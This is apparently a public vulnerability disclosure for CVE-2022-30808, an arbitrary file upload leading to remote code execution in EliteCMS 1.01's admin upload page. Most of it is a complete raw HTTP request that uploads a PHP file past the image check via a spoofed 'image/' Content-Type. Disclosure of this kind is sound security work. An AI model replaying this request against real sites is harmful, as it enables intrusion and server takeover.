CVE-2022-30808: bug_report/RCE-1.md at main · k0xx11/bug_report

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Elitecms v1.01 by elitecms has arbitrary code execution (RCE)

vendor: https://elitecms.net/download.php

Vulnerability url: http://ip/eliteCMS1.01/admin/manage_uploads.php

Loophole location： Arbitrary file upload vulnerability (RCE) exists in the “manage_uploads” module in the background management system.

The key point is "Content-Type: image/". We successfully bypass the detection of the image using "image/".

Request package for file upload：

POST /eliteCMS1.01/admin/manage_uploads.php HTTP/1.1 Host: 192.168.1.108 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.168.1.108/eliteCMS1.01/admin/manage_uploads.php Cookie: PHPSESSID=307ef75a2f3ab4c1103d8a1e90cf120e Connection: close Content-Type: multipart/form-data; boundary=---------------------------4519189897082 Content-Length: 311 -----------------------------4519189897082 Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/ JFJF <?php phpinfo();?> -----------------------------4519189897082 Content-Disposition: form-data; name="submit" Add Image -----------------------------4519189897082–

The files will be uploaded to this directory \elitecms1.01\uploads\

We visited the directory of the file in the browser and found that the code had been executed